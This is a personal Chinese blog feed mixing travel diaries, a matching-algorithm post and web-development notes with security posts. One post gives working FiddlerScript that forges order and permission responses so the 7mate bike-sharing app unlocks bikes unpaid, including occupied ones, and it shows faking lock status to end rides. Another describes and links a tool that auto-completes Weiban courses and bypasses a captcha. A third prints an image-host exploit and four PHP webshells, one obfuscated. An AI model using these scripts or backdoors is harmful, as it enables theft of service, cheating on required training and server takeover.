我实现了一种文本格式匹配算法,取名FormatExpect。

它看起来长这样。

{[65,90]}[32,32]{[33,126]}[32,32]{[33,126]}[13,13][10,10]{{[65,90;97,122]}[58,58]{[33,126]}[13,13][10,10]}[13,13][10,10]

仔细观察可以发现元素其实只有三种,即花括号、区间和整数。

这个算法的原理为通过匹配文本中指定ascii码区间内的文本判断一段字符串是否符合预定义的格式标准。先从简单的开始说起,请看如下格式文本。

[104,104][101,101][108,108][108,108][111,111]

这是一个单向链式匹配,匹配长度为5的字符串,在此例中,这串文本匹配的是“hello”。104,101,108,108,100分别对应字符串中的hello。

不难发现,每个中括号内的对象对应文本中的一个字符,并且在这种模式中,格式文本顺序和待匹配文本顺序相同。

我现在将其变换为如下形式。

[48,48][120,120][48,57;65,70][48,57;65,70]

前两个元素匹配固定文本0x,后两个元素匹配ascii值区间在[48,57]∪[65,70]中的文本。为了方便起见,我使用分号表示“或”的意思。

所以以上匹配的是合法的两位十六进制数值。

但是这样匹配效率太低,如果文本过长,或不定长,则无法工作。

所以我再次引入结构花括号,代表重复匹配。请看如下例。

{[65,90;97,122]}

不难理解,这匹配的是任意长度由大小写字母组成的字符串。但有一个问题,即如何跳出此循环匹配结构,我们可以这样写。

{[65,90;97,122]}[10,10]{[48,57]}

在循环结构之后添加任意结构(单个匹配元素或另一循环均可),若前一循环最后一位字符匹配成功后下一位字符与循环首位匹配结构不同,但与循环结构之后的一匹配结构相同,即跳出此循环,进入下一结构。

以上匹配文本照此规则,对应的文本为:首行任意数量字母、一换行符\n、第二行任意数量数字。

循环结构可以进行有限次嵌套,举例如下。

{[65,90;97,122][10,10]{[48,57]}}

将最外层循环去掉,可以匹配诸如以下格式的文本。

abcDef
421416

而加入外层循环,代表不限次匹配循环内的格式文本所能成功匹配的结构。

abcDef
421416
iLoveCProgrammingLangrage
123456
...

规则就这么多。现在回头看本文开篇所写的格式文本,你能猜出这匹配的是什么吗?

1

你可以在逸隐的FormatExpect仓库下载其源码,我在这里简单解释一下实现原理。
fexp_build_tree函数将一串FormatExpression文本解析为一颗匹配树,fexp_match_text函数同时遍历树和待匹配文本的每个Char,当匹配树同一深度的所有节点都无法满足待匹配文本的下一字符时,则匹配失败。当匹配树已经被遍历到叶子节点而没有出现匹配失败的情况,则成功匹配。

癸卯年八月廿九,周末独自乘火车前往老君山游玩,在此记录我的经历和部分照片。

今天是2023年11月6号,此篇拖了大半个月终于开始动笔。

游玩之前我通过贴吧和小红书等平台查询攻略,原定周六中午乘坐高铁从西安前往洛阳、大巴车到老君山景区后夜爬上山,但考虑到晚上气温较低,独行各种不方便等等,遂放弃,于是预定周五晚的火车卧铺出发,提前在携程预定当晚到第二天下午的车站酒店,凌晨一点到达洛阳站后在酒店休息到周六中午,接着乘坐花都客运站洛阳往返栾川的高速大巴到景区。

栾川县城遥望老君山只觉山峰高耸入云巅,飘逸如梦翔鸟天。和一路上洛栾高速旁的小山丘相比,此山给我极其震撼、与众不同的感觉,以至于不看地图,就可断定这必然是此行的目的地。我游玩过的名山不在少数,但却鲜有能与之相比的。

景区开发十分完善,门票和缆车都可通过公众号预定。从游客中心乘坐两趟观光车可直接到达云景索道入口。但我个人不建议乘坐第一趟5元一次的观光车到景区大门,百米之遥步行即可到达。

票务中心
景区大门

我的安排是周六晚上在山上过夜,圆我使用手机拍摄星空的愿望,周日早上观看日出后下山回洛阳市区。

随便挑的周末以为人会少一些,结果人潮依旧,但相比刚刚过去的国庆假期,还是好了不止一星半点。

缆车入口
山顶阶梯

一级索道可以直接到达中天门,当然自驾也可以乘车直达。山门前有老子骑牛雕像,大部分山上的景观酒店也建立在中天门一旁的山壁之上。远观过去,全透明玻璃客房、钢结构框架与山体的结合颇有现代和自然的融合之妙。

从山门进入,直接就是坡度陡峭的多级向上的台阶,颇有华山千尺幢的感觉,但自然是不如后者险绝。

中天门
遥望金顶
奇石
峰
烤肠
许愿牌

老君山的许愿牌可被誉为一特色。不同于被人们胡乱锁系的请愿条和同心锁,红色的木牌挂在松树的枝条上,显现出独特的人文自然之美。

十里画屏是老君山最值得欣赏的景观,隐约间有华山的气韵在内。山崖和绝壁,是八百里伏牛山脉的招牌。

山崖
峡谷
3
4
5

碧山绿林红枫秀, 独立高峰映夕阳。

层峦叠嶂
无题
无题
无题
无题

绵延千里的栈道让我有种神奇的感觉。

祈福
无题
电梯入口
无题

最终通过电梯赶在天色彻底暗下来之前到达了金顶。黛蓝色的天空与金色的灯光交相辉映,营造了天上人间的氛围。

傍晚山巅金光映,

楼阁璀璨似仙城。

无题
无题
金殿

晚上山顶真的很冷,庆幸自己没有选择夜爬上山。

原本打算在山顶露宿的,结果实在受不了寒风凛冽,只能花重金入住山顶青年旅社。

山顶敲代码

从哈尔滨带回来的JEEP手提袋,在将无人机和大衣带上山顶后光荣阵亡。

JEEP

以下是我在深夜冒着寒风出门通过长曝光拍的几张星空照片。由于手机支架质量低劣,加上华为MATE50本身相机性能限制,效果不尽如人意。

星空下的金殿
伏牛山脉的星空
无题

第二天五点不到早起观看日出,举着支架拍了一个小时的延时视频,手已经冻成冰块。

无题
myvideo
无题
无题
无题
无题

运气不错,虽然没有云海,但也不至于拍的全是些云里雾里的照片。

最后以我在金顶吃泡面的剪影作为我老君山之行的结尾。

泡面!

愚见以为老君山相比五岳有过之而无不及,只有亲身至此,才有机会体验那"远赴人间惊鸿宴,一睹人间盛世颜"的壮丽景色和博大精深的文化底蕴。

本文是关于7mate共享单车软件的漏洞分析,只用于学习和研究。2023/9/18

原谅此文章的思路可能不太清晰,因为是一边分析一边写。

在分析前,需要将手机与电脑置于同一局域网下,当然也可以用模拟器,只不过后者可能会出现很多奇奇怪怪的问题,所以我选择直接在手机上调试。

如果你感兴趣,可以自己尝试使用fiddler代理手机的wifi流量,重现抓包的过程。当然我已经有现成的流量Sessions文件,可以照此分析。由于此文件内含个人隐私信息,故不在此分享。

首先重现正常租车流程。

1

大致是这样一个流程,数字代表执行顺序。从此图中可以发现用户端,即7maAPP是很重要的一个节点,类似于钥匙的存在。其实究其原因,要使单车本身接入互联网实现与云端的通信,成本的确过高,而单车与手机却可以很方便地通信,例如通过蓝牙等等,手机再通过4G等等和云端连接,就可以形成一个低成本的闭环。所以围绕7maAPP,我们可以做很多事情。

接下来开始分析封包。得益于长安大学校园网的局域网特性,很容易便可以在电脑上抓取手机上的封包。

2

在没有进行Order的情况下,可以直接通过API获取到目标车辆的所有信息,包括智能锁Mac和密码等等。令人迷惑的操作。

接着经过一系列的无用请求后,order指令出现。

3

此处说明一下,order成功后手机会先进行蓝牙开锁,并不会产生任何HTTPRequest,下面的Unlock接口是蓝牙开锁失败后的网络开锁接口。

此处注意到order接口并未返回任何token之类的东西,也没有Cookie,而order接口和unlock接口又是分开请求的。所以我可以猜测,此处所有判断都是基于本地手机端进行,order只有创建订单的作用,如果成功,手机发出开锁指令;如不成功,手机端报错。简单来说,这个云端API更加类似于一个toolkit,而非server。

在此处其实第一个破解思路已经出现。虽然我不懂蓝牙通信细节,但是只需要让7maAPP认为云端租车请求已经执行成功,其自身就会向车辆发出蓝牙解锁信号。所以,让7maAPP的网络流量通过一个我们自己写的代理程序,如果不是order请求,则放行。如果是order请求,则拦截,并返回一个fakeJson。

通过这样做,云端并未创建订单,但依旧可以达到开锁的目的。

这种思路比较稳妥,毕竟主体还是官方的软件,我们只是进行了一点加工而已。但是比较麻烦。

然后我想到了第二种思路,就是直接访问unlock接口开锁。以下是unlock接口的参数。

{"action_type":"2","latitude":34.371956,"longitude":108.907609}

正常开锁成功的返回如下;

{"status_code":200,"message":"\u5f00\u9501\u6307\u4ee4\u5df2\u53d1\u51fa","data":{"cmd":"11464128"},"extra":""}

但当我拦截了order请求后,其返回如下。

{"status_code":400,"message":"\u65e0\u6548\u8bf7\u6c42","data":{},"extra":""}

调试到此处,应该纠正一下前文的一个错误,就是此共享单车系统的云端接口并不仅仅是一个toolkit,还是有基本的鉴权判断功能的。然后我注意到请求头处的Auth中有一个Jwt令牌,云端应该就是通过此令牌确认访问者身份的。

所以想要通过unlock接口解锁车辆,就必须要创建一个order。

乍一看似乎和正常用软件解锁车辆差不多,怎么能叫破解呢?请注意我们现在是在调试API的过程中,所有参数和Request都受到我们的控制,虽然云端对此做了限制,却依旧有办法绕过。

这里我发现了一个真正的漏洞。首先先来了解一下respJson中lockStatus的两个值。

0:关锁状态;1:开锁状态。

再来看一下还车时请求的一个接口。

4

这是一个查询锁状态的接口,正常情况下锁是打开的,返回的值为1,本地APP判断锁未关,则不允许还车。但如果将其修改为0,本地APP判断锁已关,向云端发出还车指令,即可成功还车。

此处的漏洞在于云端还车接口没有验证云端车锁状态,直接结束了订单。这里有完整的saz文件记录,你可以亲自尝试。鉴于其中包含的一些敏感信息,请联系我以获取提取密码。

https://www.ideasky.top/#s/9qk4SmVg

那么当车辆被占用,无法进行order时,如何开锁呢?

办法在前文已经提到过,通过代理软件欺骗7ma客户端程序order成功,诱导其通过蓝牙发出开锁指令。如果要对被占用的车辆进行开锁,通过云端unlock接口是无法成功的,因为你的jwt根本没有进行order,云端不会给你开锁的权限。但是蓝牙开锁是绕过云端判断的,所以可以正常开锁。

如果要纯手写代理,还要适配ssl,太麻烦,所以我选择采用FiddlerScript进行自动断点和修改。

首先对于被占用的车辆,我们需要修改一个接口的返回,如下。

5

对于此接口,可伪造如下resp。

{"status_code":200,"message":"","data":{"code":0},"extra":""}

构造如下的fiddlerScript。

using Fiddler;
public static void OnBeforeResponse(Session oSession)
{
    if (oSession.uriContains("newmapi.7mate.cn/api/order/authority") &&
        oSession.uriContains("car_number=") &&
        oSession.uriContains("latitude=") &&
        oSession.uriContains("longitude="))
    {
        oSession.utilSetResponseBody("{\"status_code\":200,\"message\":\"\",\"data\":{\"code\":0},\"extra\":\"\"}");
    }
}

然后就是对order的接口的处理,涉及到两个步骤。

1.将POST的数据置空,防止云端Order成功
2.将返回的“请求无效”修改为有效的JsonResp

using Fiddler;
public static void OnBeforeRequest(Session oSession)
{
    if (oSession.HTTPMethodIs("POST") &&
        oSession.uriContains("newmapi.7mate.cn/api/order"))
    {
        oSession.utilSetRequestBody("");
    }
}

public static void OnBeforeResponse(Session oSession)
{
    if (oSession.HTTPMethodIs("POST") &&
        oSession.uriContains("newmapi.7mate.cn/api/order"))
    {
        oSession.utilSetResponseBody("{\"status_code\":200,\"message\":\"\\u4e0b\\u5355\\u6210\\u529f\",\"data\":{\"order_id\":2841323,\"order_sn\":\"OSC23091721654388524398\",\"order_amount\":null,\"order_type\":1,\"created_at\":\"2023-09-17 20:28:54\",\"has_stock\":0},\"extra\":\"\"}");
    }
}

这个RespBody是对成功的Order进行抓包获取的。

然后将以上代码放入FiddlerScript的对应事件中即可。

最后我们只需要在手机上设置全局代理为fiddler即可。如果是wifi,可以直接长按wifi名称设置代理。如果是4G,可以通过新建APN,设置公网代理服务器。

——到此为止——

微班微课平台刷课时工具编写思路。

课时数据列表获取

程序通过命令行接受五个必要参数:ck(cookie),token(x-Token),tid(tenantCode),uid(userId),pid(projectID)。

https://weiban.mycourse.cn/pharos/index/listCompletion.do?timestamp=

按照格式提交。返回的json中遍历数组data,取每个成员的categoryCode.

具体路径为data[i-1].categoryCode,接着取每个分类中的课时列表。

https://weiban.mycourse.cn/pharos/usercourse/listCourse.do?timestamp=

form中只需要添加一个categoryCode,即上一步取到的数据。

主要逻辑

为了防止短时间多次访问导致封禁主机,以及重复刷已经完成的课时,可以缓存所有课程ID,每次用户选择一个CourseID进行处理。

课时完成后请求了四个接口如下。

[GET]
https://weiban.mycourse.cn/pharos/usercourse/v1/checkFinish.do?userCourseId=
https://weiban.mycourse.cn/pharos/resource/getNear.do?timestamp=
https://safety.mycourse.cn/brainprovider/router
https://weiban.mycourse.cn/pharos/usercourse/v1/{UnknownUUID}.do?callback={randomNUM}&t={timestamp}&userCourseId=&tenantCode=

测试访问了前两个接口,均返回正常,但是网页并未显示课时已完成,所以关键的不是这两个接口。

第三个接口特殊在子域名是safety,返回数据如下。

{
    "code": "0",
    "data": {
        "allAvgScore": 4.6,
        "contentStarAvgNum": 4.6,
        "feelStarAvgNum": 4.5,
        "wholeStarAvgNum": 4.7
    },
    "detailCode": "0",
    "message": "系统处理正常"
}

像是一个打分的接口,并且form中有一个targetID和签名。为了方便起见,先暂时看最后一个接口,若是不对,再通过JS解析这个接口的请求过程。

第四个接口提交的数据倒是简单,主要是url中有一个从未见过的UUID,不是uid,也不是courseID。一般这时候都会再看一个微课,同时抓包,看看两次请求的url是否相同。

这里第二次请求的url中UUID与第一次不同。为了搞清楚这个UUID是如何生成的,通过触发器找到创建此请求的JS文件。

onComment() {
    const {
        userCourseId,
        tenantCode,
        methodToken,
        lyra,
        userActivityId
    } = this.$route.query;
    // console.log(userCourseId, tenantCode, methodToken, weibanIs, lyra, csCom, userActivityId);

    let finishWxUrl = '';
    const webUrl = window.location.href;
    if (webUrl.indexOf('test.mycourse.cn') > 0) {
        if (lyra === 'lyra') {
            finishWxUrl = 'https://test.mycourse.cn/lyraapi/study/course/finish.api';
        } else {
            finishWxUrl = `https://test.mycourse.cn/pharos/usercourse/v1/${methodToken}.do`;
        }
    } else {
        finishWxUrl = `https://weiban.mycourse.cn/pharos/usercourse/v1/${methodToken}.do`;
    }

    if (lyra === 'lyra' && webUrl.indexOf('test.mycourse.cn') > 0) {
        this.onPost(finishWxUrl, {
            userActivityId
        });
    } else {
        this.onPost(finishWxUrl, {
            userCourseId,
            tenantCode
        });
    }
},
onPost(finishWxUrl, finishData) {
    axios({
        method: 'GET',
        url: finishWxUrl,
        data: finishData,
        headers: {
            'Content-Type': 'application/x-www-form-urlencoded'
        },
        params: {
            callback: Math.floor(Math.random() * 100000),
            t: Date.parse(new Date()) / 1000,
            ...finishData
        },
        jsonp: true,
        timeout: 30000
    }).then((resp) => {
        if (resp.data.code === '-1') {
            Dialog.alert({
                title: '',
                message: '你已完成过该课程学习!'
            }).then(() => {
                this.isVerifyPopup = false;
            });
        } else {
            this.isVerifyPopup = false;
        }
    }).catch((error) => {
        console.log(error);
    });
},

ok可以确定这个接口就是目标。methodToken从VUE的路由中提取,即QueryString。

这个参数来自微课链接,链接获取接口如下。

https://weiban.mycourse.cn/pharos/usercourse/getCourseUrl.do?timestamp=

到此万事具备,只需要简单写个逻辑即可。

success

如果成功,返回的json应该如图上所示,code不应该出现任何一个非0数字。

总结下来编写过程非常顺利,各个接口的请求过程清晰明了,特别是该平台完成微课后的verify验证码环节居然是本地处理的,使得我们可以直接绕过验证码。

源码下载

使用办法:修改autovk.bat内的参数,改成你自己的,双击运行即可。该程序不保证永久有效。

https://www.ideasky.top/#s/9j9mDvQQ

如何实现文章图片 自动排版 + 懒加载?

要实现自动排版,原理其实不难,参考Typecho插件Autophotos的一段js。

(function () {
    var base = 50;
    $.each($('.photos'), function (i, photoSet) {
        $.each($(photoSet).children(), function (j, item) {
            var img = new Image();
            img.src = $(item).find('img').attr('data-original');
            img.onload = function () {
                var w = parseFloat(img.width);
                var h = parseFloat(img.height);
                $(item).css('width', w * base / h + 'px');
                $(item).css('flex-grow', w * base / h);
                $(item).find('div').css('padding-top', h / w * 100 + '%');
            };
        });
    });
})();

这段代码经过我人为修改,因为我同时使用了jQuery的lazyload插件,所以获取img的data-original属性作为img对象的src属性。然而,带来的一个问题是懒加载失效。

在页面开始加载时,以上代码遍历文章中所有img标签取每个图像的长宽数值,这个过程一定会涉及到图像的请求。

无论是否启用懒加载,这段代码中img对象都会主动下载url(data-original)。

我想到的第一个对策是每当Lazyload成功载入一张图片,触发一个事件,运行该代码。

但是lazyload似乎没有提供事件回调机制,况且即使能实现回调,在图片还未成功加载、长宽未知时,浏览器默认隐藏该img标签,用户根本不知道此处是否还有图片未成功加载,造成信息的遗漏。

这个问题可以通过设置占位图像解决,但是每成功加载一张图片,都要重新遍历所有img,效率低且占用高。

第二个对策是我目前认为不错的解决方法,即在文章真正发布之前先访问所有imgurls,预先获取图片的长宽属性,生成一段json保存。我们只需要把以上代码中的whsrc整合即可。

把以上js代码从php代码中删除,然后稍微处理一下,得到如下代码。

var ImgArray = [];
(function () {
    var base = 50;
    var total = 0;
    var donesum = 0;
    $.each($('.photos'), function (i, photoSet) {
        $.each($(photoSet).children(), function (j, item) {
            var img = new Image();
            img.src = $(item).find('img').attr('data-original');
            img.onload = function () {
                var w = parseFloat(img.width);
                var h = parseFloat(img.height);
                var ImgMember = {
                    url: img.src,
                    width: w,
                    height: h
                };
                ImgArray.push(ImgMember);
                donesum = donesum + 1;
                console.log("current:" + (donesum / total).toFixed(2));
                if (donesum === total) {
                    myFunction();
                }
            };
            total = total + 1;
        });
    });
})();
function myFunction() {
    console.log("ok! run 'copy(ImgArray); '");
}

把这段代码复制到console中直接运行,等待代码从0跑到1后运行copy(ImgArray)就可以在剪贴板中得到整篇文章的图片宽高数据。

然后有两个选择,第一种是直接把这一段json嵌入到文章的html代码中,第二种是通过ajax动态请求接口返回。我不喜欢在html中嵌入大段js,所以我选择第二种办法。

先把返回的json写到文章的ImageMeta字段,然后修改插件的代码,增加一个接口如下用来返回ImageMeta。

public function action() {
    if (!isset($_GET['cid']) || !ctype_digit($_GET['cid'])) {
        header('Content-Type: text/plain');
        echo 'console.log("Invalid Request");';
        exit;
    }

    $db = Typecho_Db::get();
    $sql = $db->select()->from('table.fields')
        ->where('cid = ?', $_GET['cid'])
        ->where('name = ?', 'ImageMeta')
        ->limit(1);
    $ret = $db->fetchAll($sql);

    if (count($ret) != 1) {
        header('Content-Type: text/plain');
        echo 'console.log("No Matched Record");';
        exit;
    }

    $jsonArray = $ret[0]['str_value'];
    echo 'ImgArray=' . $jsonArray. ';';
}

最后我需要修改前端代码进行适配,由于后端接口直接返回的就是一段标准javascript,所以直接通过eval运行返回的数据即可。最后的前端js代码应该如下。

var ImgArray = [];
$.ajax({
    url: '/Maxomo?cid=' + document.querySelector('meta[name="cid"]').getAttribute('content'),
    method: 'GET',
    success: function (response) {
        eval(response);
        nextStep();
    },
    error: function (xhr, status, error) {
        console.log('AJAX request failed:', error);
    }
});
function nextStep(){
    if (ImgArray.length !== 0) {
    loadImgStyle();
    }
}

function loadImgStyle() {
    var base = 50;
    $.each($('.photos'), function (i, photoSet) {
        $.each($(photoSet).children(), function (j, item) {
            imgsrc = $(item).find('img').attr('data-original');
            var w,
            h;
            obj = false;
            for (var i = 0; i < ImgArray.length; i++) {
                if (ImgArray[i].url === imgsrc) {
                    w = ImgArray[i].width;
                    h = ImgArray[i].height;
                    obj = true;
                    break;
                }
            }
            if (obj) {
                $(item).css('width', w * base / h + 'px');
                $(item).css('flex-grow', w * base / h);
                $(item).find('div').css('padding-top', h / w * 100 + '%');
            } else {
                console.log("cannot find=" + imgsrc);
            }

        });
    });
};

搞定!

由于我的Maxomo插件使用办法较为复杂,还需要修改主题模版代码,就不在此分享了。可以联系我的QQ索取。

点击这里跳转到本站简介.

原谅我拖了半个月才更新这篇日志...

山城日志

6月14日晚决定来场说走就走的旅行,于是订票独自前往重庆。

原定目的地是丽江,但因为位置偏远交通不便,遂放弃。

18岁独自乘飞机没有什么问题,工作人员不会根据面相特殊对待。登机口可能会被临时更换而不在手机上通知,具体可以询问机场工作人员。

浦东机场面积比澳门大真的是名副其实,航站楼到登机口都要坐专用地铁。

到重庆后才想起来看天气预报,遗憾的是我的行程15号-18号这几天重庆都是阴天。

在飞机上看到这天气后就感觉不妙,走得太急还忘了带伞,好在从江北机场直接坐地铁就能到酒店。

第一天订的酒店在云端之眼的57层,这栋楼从47层往上几乎全是酒店,环境很不错。

到达这天下午就是在市区随便走走,去逛了十八梯古镇和洪崖洞,只不过商业化太严重。传统建筑和现代化高楼的对比独具特色。

一线天

顺便去来福士底下走了一圈,上面观景台收费太贵,感觉不值就没去。

去洪崖洞的时候迷路了,绕到滨江大道的底下去了。

千厮门大桥

左下图往前就是洪崖洞小吃街,可惜施工走不了,只能回头绕一大圈。

洪崖洞本身的特色是依山而建,自然和中式建筑的融合,还位于重庆市中心。

好吃街大部分都是一些网红食品,还有采耳和足疗。洪崖洞楼阁中是一些珠宝翡翠商家,没有游览的必要。

第二天早起赶在7:45分在公众号预定长江索道门票前往乘坐。

到长江对面后原计划打算前往南山游玩,但早上忘记把包寄存在酒店,在地图上找寄存点发现只有渝中区有,无奈步行过江返回。

重庆的交通是立体的,在地图上交汇的两条路不一定相交,还可能异面。

这点在过江大桥上体现尤为明显,不熟悉路的人可能看着桥就在眼前,但却不知道如何上桥。

在重庆最好还是跟着导航走,因为如果凭感觉向目的地的方向走去,结果大概率是困在迷宫一样的居民区里。

寄存店在解放碑商圈,这里的繁华程度甚至可以比肩上海南京路步行街。

游玩重庆,乘坐轻轨、地铁前往景点绝对是不二选择。

很佩服重庆轨道交通的建设者。

磁器口的情况和十八梯差不多,走在小路上两旁的店员真的非常热情,试吃到停不下来。

听说这里的陈麻花非常经典,但在规模化生产后,不知是否保留了原先的味道。

据说建文帝曾隐居磁器口古镇五年,此处为祭祀之地。

下午搭车前往南岸龙脊山徒步登山。

下山时将近傍晚,但是位置太偏僻根本叫不到车子,徒步到大路要将近一个小时,只能选择穿越重庆工商大学的校区。

前往解放碑拿包,搭乘将近两小时地铁来到北碚缙云山住宿。到站时已经快要到晚上九点,所住民宿在缙云山山中深处,出租车司机走山路到一半导航出错,把我一人放在半山腰山路后原路返回。半夜山中无人,前方道路没有照明,大雾弥漫,孤独而恐怖。

最后叫三轮车到酒店的,给了30元。

住野外民宿晚上不建议开窗或敞着窗帘,飞蛾很多,最后老板娘替我升级了房间。遗憾的是山中大雾,无法赏景。

服务很好,在此推荐一下。名字叫缙云小住。

上午小住严姐推荐徒步缙云山狮子峰,遂前往。

最后一天中午返回渝中,傍晚享受烛光晚餐。

烛光晚餐虽浪漫,奈何餐厅服务堪忧,就不在此推荐了。

返程天上午乘坐地铁前往渣滓洞感受红岩精神。

人生中第一次独自旅行,总体来说还算圆满,总花销将近5000,机票的钱占了一半。

总步数83545。

周末写了一个博客图片转移工具,取名 ImgDocker

主要功能是把网站文章中所有图片重新上传到可道云中,然后利用其"嵌入内容"将图片外链替换到文章中。逻辑比较简单,介绍一下思路。这是它的配置文件:

main{
sys=typecho
host=154.204.56.154
port=3306
user=
db=
pwd=
table=typecho_contents
regex=(https?:\/\/[^\s]+?\.(?:jpg|jpeg|gif|png|bmp|svg|webp))
api=https://www.ideasky.top/?
cookie=
form1=url={imgurl}&uuid={uuid}&path=getconf(path)&CSRF_TOKEN=getconf(CSRF_TOKEN)&API_ROUTE=explorer/upload/serverDownload
form2=dataArr=[{"path":"{path}","type":"simple"}]&CSRF_TOKEN=getconf(CSRF_TOKEN)&API_ROUTE=explorer/index/pathInfo
}

const{
CSRF_TOKEN=
path=
}

连接数据库后把所有文章select下来,通过配置文件中的正则表达式提取所有图片。这里的正则表达式如果你不想手写可以去问ChatGPT,非常好用!!

图片提取后使用可道云的“离线下载”功能将图片下载到指定path中。程序处理可道云api返回的json取得图片新url,替换到文章text中,最后将text转义,update到mysql。

我的config文件写法加入了一个有趣的特性,可以在一个config字段中通过getconf函数引用另一个config字段,程序中使用递归实现。

另外,这个工具不能和可道云的webdav同时使用,否则会出现错误。

最后,请在使用前备份数据库。数据安全永远排在第一位。在此处下载本程序及源码。

今天准备把博客图片迁移,结果打开之前部署的php 简单图床,发现网站首页被篡改,吓我一跳。

1-1

为了防止图片被植入危险代码,先查宝塔的备份,下载最早时刻的备份文件,以下是最新的目录结构。

wwwroot
│  .htaccess
│  favicon.ico
│  *index.html
│  *index.php.123
│  robots.txt
│  SECURITY.md
│  *utf8.html
│
└─i
        .htaccess
        *1.php
        *20230426054659.php
        *bx.php
        *gsl.php

Nginx日志显示新文件于4月26号下午6点左右被上传

原理是利用图床程序/Application/down.php漏洞下载config.php文件后破解md5得到密码,进入后台上传木马php。

经查,Github上已有用户提出关于此漏洞的Issue

总体来说是一个比较低级的疏忽,总结以下六方面忠告:程序及时升级,php禁用危险函数,完善鉴权体系,对用户提交的数据做无害化处理,备份、日志,设置强密码。

这是该漏洞的具体利用方法:

curl http://mydomain/application/down.php?dw=./config/config.php
GetPwdMd5
Crackit
Login
'extensions'=>'gif,jpeg,png,tif,bmp,tif,svg,webp,jpg,tga,svg,ico,php,jsp'
UploadPHP

四个后门代码

1.php

<?php assert($_POST['a']);?> 

gsl.php

<?php
eval($_POST["pass"]);

20230426054659.php

<? php class GcHN18v4 { /*F7R164*/
    function __construct($x) {
        $c = str_rot13('ffreg'); /*F7R164*/
        $a = ("!" ^ "@").$c; /*F7R164*/
        $a($x);
    }
}
new GcHN18v4($_REQUEST['a']); ?>

bx.php

<? php@ error_reporting(0);
session_start();
$key = "0cc175b9c0f1b6a8";
$_SESSION['k'] = $key;
$f = 'file'.
'_get'.
'_contents';
$p = '|||||||||||' ^ chr(12).chr(20).chr(12).chr(70).chr(83).chr(83).chr(21).chr(18).chr(12).chr(9).chr(8);
$HLu96 = $f($p);
if (!extension_loaded('openssl')) {
    $t = preg_filter('/\s+/', '', 'base 64 _ deco de');
    $HLu96 = $t($HLu96.
        "");
    for ($i = 0; $i < strlen($HLu96); $i++) {
        $new_key = $key[$i + 1 & 15];
        $HLu96[$i] = $HLu96[$i] ^ $new_key;
    }
} else {
    $HLu96 = openssl_decrypt($HLu96, "AES128", $key);
}
$arr = explode('|', $HLu96);
$func = $arr[0];
$params = $arr[1];
class G2X3loiX {
    public
    function __invoke($p) {@
        eval("/*Z1e6758ucG*/".$p.
            "");
    }
}@
call_user_func /*Z1e6758ucG*/ (new G2X3loiX(), $params); ?>

——到此为止——

  • 主板:技嘉GA-G41MT-D3 💴40.00;
  • CPU:L5410 LGA771硬改775 💴18.00;
  • 内存:威刚万紫千红DDR3 1333Mhz 4G *2 💴21.60;
  • 显卡:nvidia Geforce 7300LE 💴19.00;
  • 硬盘:希捷 500GB *3 💴31.9+2×29.9=91.7;
  • 电源:杂牌200W 💴16.9

合计:💴 207.20

- 阅读剩余部分 -